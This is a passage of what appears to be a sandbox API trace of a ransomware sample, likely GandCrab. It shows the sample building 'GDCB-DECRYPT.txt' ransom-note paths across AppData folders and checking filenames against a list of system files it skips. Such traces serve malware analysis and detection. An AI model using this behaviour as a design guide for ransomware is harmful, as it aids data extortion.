pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.510] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\\\GDCB-DECRYPT.txt") returned 284 [0170.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.510] GetLastError () returned 0x3 [0170.510] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.511] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\\\GDCB-DECRYPT.txt") returned 288 [0170.511] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.511] GetLastError () returned 0x3 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.511] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\\\GDCB-DECRYPT.txt") returned 283 [0170.511] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.511] GetLastError () returned 0x3 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.511] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IECompatCache\\\\GDCB-DECRYPT.txt") returned 289 [0170.511] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IECompatCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\iecompatcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.511] GetLastError () returned 0x3 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.512] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IECompatUaCache\\\\GDCB-DECRYPT.txt") returned 291 [0170.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IECompatUaCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\iecompatuacache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.512] GetLastError () returned 0x3 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.512] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IEDownloadHistory\\\\GDCB-DECRYPT.txt") returned 293 [0170.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\IEDownloadHistory\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\iedownloadhistory\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.512] GetLastError () returned 0x3 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.512] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\\\GDCB-DECRYPT.txt") returned 285 [0170.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.512] GetLastError () returned 0x3 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.512] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\\\GDCB-DECRYPT.txt") returned 287 [0170.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.512] GetLastError () returned 0x3 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.512] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\\\GDCB-DECRYPT.txt") returned 289 [0170.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.513] GetLastError () returned 0x3 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PowerShell\\\\GDCB-DECRYPT.txt") returned 286 [0170.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PowerShell\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\powershell\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.513] GetLastError () returned 0x3 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\\\GDCB-DECRYPT.txt") returned 284 [0170.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.513] GetLastError () returned 0x3 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\\\GDCB-DECRYPT.txt") returned 285 [0170.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.513] GetLastError () returned 0x3 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.513] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RoamingTiles\\\\GDCB-DECRYPT.txt") returned 288 [0170.514] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RoamingTiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\roamingtiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.514] GetLastError () returned 0x3 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.514] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\\\GDCB-DECRYPT.txt") returned 281 [0170.514] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.514] GetLastError () returned 0x3 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.514] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.514] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\\\GDCB-DECRYPT.txt") returned 300 [0170.514] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.514] GetLastError () returned 0x3 [0170.514] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat") returned 270 [0170.514] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat") returned 270 [0170.514] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat") returned 270 [0170.514] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat") returned 270 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="desktop.ini") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="autorun.inf") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="ntuser.dat") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="iconcache.db") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="bootsect.bak") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="boot.ini") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="ntuser.dat.log") returned 1 [0170.514] lstrcmpiW (lpString1="UsrClass.dat", lpString2="thumbs.db") returned 1 [0170.514] lstrcmpiW 